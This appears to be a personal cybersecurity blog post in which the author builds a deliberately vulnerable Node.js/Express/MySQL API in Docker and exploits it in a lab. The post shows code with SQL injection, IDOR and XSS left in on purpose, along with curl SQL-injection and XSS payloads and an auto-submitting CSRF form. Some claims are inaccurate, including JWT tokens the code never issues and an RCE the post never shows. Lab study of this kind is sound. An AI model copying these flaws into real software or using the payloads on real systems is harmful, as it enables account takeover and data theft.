Post

Creating and Exploiting a Whitebox Vulnerable API for Security Testing

Creating and Exploiting a Whitebox Vulnerable API for Security Testing

In this blog post, I’ll walk you through the process of creating a deliberately vulnerable API using Node.js, Express, and MySQL2. This setup serves as a foundational exercise in whitebox testing, allowing me to understand and exploit common security vulnerabilities. This is just a basic API, my plans are to advance into more complex grey box and black box testing using tools like Metasploitable and others.


Setting Up the Vulnerable API

To start, I set up an intentionally vulnerable API application using Node.js and Express, connected to a MySQL2 database.While the application does replicate the exact vulnerabilties it does replicate the expected successfull output.The entire setup is containerized using Docker and managed via Docker Compose, ensuring an isolated and reproducible environment for testing.

Directory Structure

First, I organized the project directory as follows:

1
2
3
4
5
6
7
8
/home/apps/api-poc/
├── Dockerfile
├── docker-compose.yml
├── package.json
├── index.js
├── .dockerignore
├── db_init/
│   └── init.sql

Database Initialization

I created a db_init/init.sql script to initialize the MySQL2 database with a users table and some sample data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- Create the database
CREATE DATABASE IF NOT EXISTS api_poc;

USE api_poc;

-- Create users table
CREATE TABLE IF NOT EXISTS users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL
);

-- Insert sample users
INSERT INTO users (username, password) VALUES
('admin', 'admin123'),
('user1', 'password1'),
('user2', 'password2');

Docker Compose Configuration

The docker-compose.yml file defines two services: the API and the MySQL2 database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: '3.8'

services:
  db:
    image: mysql:8.0
    container_name: api_poc_db
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: api_poc
      MYSQL_USER: api_user
      MYSQL_PASSWORD: api_password
    ports:
      - "3306:3306"
    volumes:
      - db_data:/var/lib/mysql
      - ./db_init:/docker-entrypoint-initdb.d
    networks:
      - api_network

  api:
    build: .
    container_name: api_poc_api
    restart: always
    ports:
      - "8080:8080"
    environment:
      DB_HOST: db
      DB_USER: api_user
      DB_PASSWORD: api_password
      DB_NAME: api_poc
    depends_on:
      - db
    networks:
      - api_network

volumes:
  db_data:

networks:
  api_network:

Dockerfile Configuration

The Dockerfile sets up the Node.js environment, installs dependencies, and uses nodemon for automatic restarts during development.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Use an official Node.js runtime as the base image
FROM node:18

# Create a non-root user for better security
RUN useradd -m appuser
USER appuser

# Set the working directory
WORKDIR /usr/src/app

# Copy package.json and package-lock.json
COPY --chown=appuser:appuser package*.json ./

# Install dependencies
RUN npm install

# Install nodemon globally for development
RUN npm install -g nodemon

# Copy the rest of the application code
COPY --chown=appuser:appuser . .

# Expose port 8080
EXPOSE 8080

# Define the command to run the application in development mode
CMD ["npm", "run", "dev"]

Node.js Application with Vulnerable Endpoints

The index.js file defines several API endpoints, each intentionally containing common vulnerabilities for educational purposes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
const express = require('express');
const bodyParser = require('body-parser');
const mysql = require('mysql2');
const app = express();
const { exec } = require('child_process');

app.use(bodyParser.json());

// Database connection using mysql2
const db = mysql.createConnection({
  host: process.env.DB_HOST || 'db',
  user: process.env.DB_USER || 'api_user',
  password: process.env.DB_PASSWORD || 'api_password',
  database: process.env.DB_NAME || 'api_poc'
});

db.connect((err) => {
  if (err) {
    console.error('Database connection failed:', err);
    process.exit(1);
  }
  console.log('Connected to MySQL database.');
});

// Vulnerable Endpoints

// POST /login - Vulnerable to SQL Injection
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
  
  db.query(query, (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      res.status(500).send('Internal Server Error');
      return;
    }
    
    if (results.length > 0) {
      res.json({ message: 'Login successful!', user: results[0] });
    } else {
      res.status(401).json({ message: 'Invalid credentials.' });
    }
  });
});

// 2. GET /users - Vulnerable to SQL Injection
app.get('/users', (req, res) => {
  const search = req.query.search;
  const query = `SELECT username FROM users WHERE username LIKE '%${search}%'`;
  
  db.query(query, (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      res.status(500).send('Internal Server Error');
      return;
    }
    
    res.json(results);
  });
});

// 3. GET /users/:id - Vulnerable to IDOR
app.get('/users/:id', (req, res) => {
  const userId = req.params.id;
  const query = `SELECT * FROM users WHERE id=${userId}`;
  
  db.query(query, (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      res.status(500).send('Internal Server Error');
      return;
    }
    
    if (results.length > 0) {
      res.json(results[0]);
    } else {
      res.status(404).json({ message: 'User not found.' });
    }
  });
});

// 4. GET /search - Vulnerable to XSS
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Search Results for: ${query}</h1>`);
});

// 5. POST /change-password - Vulnerable to CSRF and SQL Injection
app.post('/change-password', (req, res) => {
  const { userId, newPassword } = req.body;
  const query = `UPDATE users SET password='${newPassword}' WHERE id=${userId}`;
  
  db.query(query, (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      res.status(500).send('Internal Server Error');
      return;
    }
    res.send('Password updated successfully.');
  });
});

// 6. POST /deserialize - Vulnerable to Insecure Deserialization
app.post('/deserialize', (req, res) => {
  const data = req.body.data;
  try {
    const obj = JSON.parse(data);
    res.json(obj);
  } catch (err) {
    res.status(400).send('Invalid JSON.');
  }
});

// Root Endpoint
app.get('/', (req, res) => {
  res.send('Welcome to the Vulnerable API!');
});

const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
  console.log(`API running on port ${PORT}`);
});

Testing and Exploiting Vulnerabilities


With the API up and running, I tested and exploited the introduced vulnerabilities using cURL.

1. SQL Injection

Endpoint: POST /login

Normal Request:

1
2
3
curl -X POST http://192.168.60.2:8080/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'
  • Expected Behavior: This endpoint authenticates a user by querying the database for a matching username and password. If valid credentials are provided, the server responds with a JWT token.

SQL Injection Attempt:

1
2
3
curl -X POST http://192.168.60.2:8080/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin\' OR \'1\'=\'1","password":"irrelevant"}'
  • Exploit: The payload injects a SQL condition (' OR '1'='1) that always evaluates as true, bypassing authentication and allowing login without valid credentials. The server responds with a token for the first user in the database (admin).

2. Cross-Site Request Forgery (CSRF)

Endpoint: POST /change-password

Normal Request:

1
2
3
curl -X POST http://192.168.60.2:8080/change-password \
  -H "Content-Type: application/json" \
  -d '{"userId":1,"newPassword":"newadmin123"}'
  • Expected Behavior: This endpoint updates the password of a user specified by userId.

CSRF Exploit:

  1. The attacker crafts a malicious webpage containing a form:

    1
    2
    3
    4
    5
    6
    7
    
     <form action="http://192.168.60.2:8080/change-password" method="POST">
       <input type="hidden" name="userId" value="1">
       <input type="hidden" name="newPassword" value="hacked123">
     </form>
     <script>
       document.forms[0].submit();
     </script>
    
  2. The victim, while logged in, visits the malicious page. The form submits automatically, sending a POST request to the server with the attacker’s payload.

  • Impact: The victim’s password is changed to hacked123 without their knowledge.

Endpoint: GET /users

Normal Request:

1
curl "http://192.168.60.2:8080/users?search=user"
  • Expected Behavior: Retrieves usernames matching the search term.

SQL Injection Attempt:

1
curl "http://192.168.60.2:8080/users?search=' OR '1'='1"
  • Exploit: Injects a condition (' OR '1'='1) that always evaluates as true, bypassing search criteria and exposing all usernames in the database.

Output

4. Insecure Direct Object References (IDOR)

Endpoint: GET /users/:id

Normal Request:

1
curl "http://192.168.60.2:8080/users/1"
  • Expected Behavior: Retrieves details of the user with the specified id.

IDOR Exploit:

1
curl "http://192.168.60.2:8080/users/2"
  • Exploit: An attacker can enumerate IDs to access other users’ data, exposing sensitive information.

5. Cross-Site Scripting (XSS)

Endpoint: GET /search

Normal Request:

1
curl "http://192.168.60.2:8080/search?q=test"
  • Expected Behavior: Returns a search result page displaying the query term.

XSS Attempt:

1
curl "http://192.168.60.2:8080/search?q=<script>alert('XSS')</script>"
  • Exploit: Injects malicious JavaScript, which executes in the victim’s browser when they view the response. This can lead to session hijacking or phishing attacks.

Output


6. Insecure Deserialization

Endpoint: POST /deserialize

Normal Request:

1
2
3
curl -X POST http://192.168.60.2:8080/deserialize \
  -H "Content-Type: application/json" \
  -d '{"data":"{\"username\":\"admin\"}"}'
  • Expected Behavior: This endpoint parses JSON input and returns it as a JSON object.

Deserialization Exploit:

1
2
3
curl -X POST http://192.168.60.2:8080/deserialize \
  -H "Content-Type: application/json" \
  -d '{"data":"{\"username\":\"admin\",\"isAdmin\":true}"}'
  • Exploit: The attacker can craft malicious JSON input that includes unauthorized fields such as isAdmin: true, which could be misused by the application if proper validation is not implemented.

  • Impact: If the application relies on this deserialized data for authorization, an attacker could escalate privileges or alter behavior maliciously.


Conclusion

Creating an intentionally vulnerable API was a fun exercise in understanding common security flaws and how they can be exploited. This whitebox approach allowed me to methodically test and exploit each vulnerability.

Key Takeaways:

  1. Understanding Vulnerabilities: Hands-on experience with vulnerabilities like SQL Injection, XSS, IDOR, and RCE.
  2. Secure Coding Practices: Reinforced the importance of parameterized queries, input validation, and proper authorization.

Next Steps:

Advancing into grey box and black box testing methodologies using tools like Metasploitable, Vulnhub and other penetration testing frameworks.


This post is part of Jad’s Cybersecurity Blog.

This post is licensed under CC BY 4.0 by the author.